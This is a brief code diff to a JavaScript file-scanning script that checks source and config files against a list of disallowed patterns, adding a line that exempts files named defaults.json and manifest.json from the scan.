@@ -23,6 +23,7 @@ for (const root of ROOTS) {
23
23
  const st = statSync(p);
24
24
  if (st.isDirectory()) { walk(p); continue; }
25
25
  if (!/\.(ts|js|rs|toml|json)$/.test(name)) continue;
26
+ if (name === 'defaults.json' || name === 'manifest.json') continue;
26
27
  const text = readFileSync(p, 'utf8');
27
28
  for (const re of BAD) {
28
29
  if (re.test(text)) {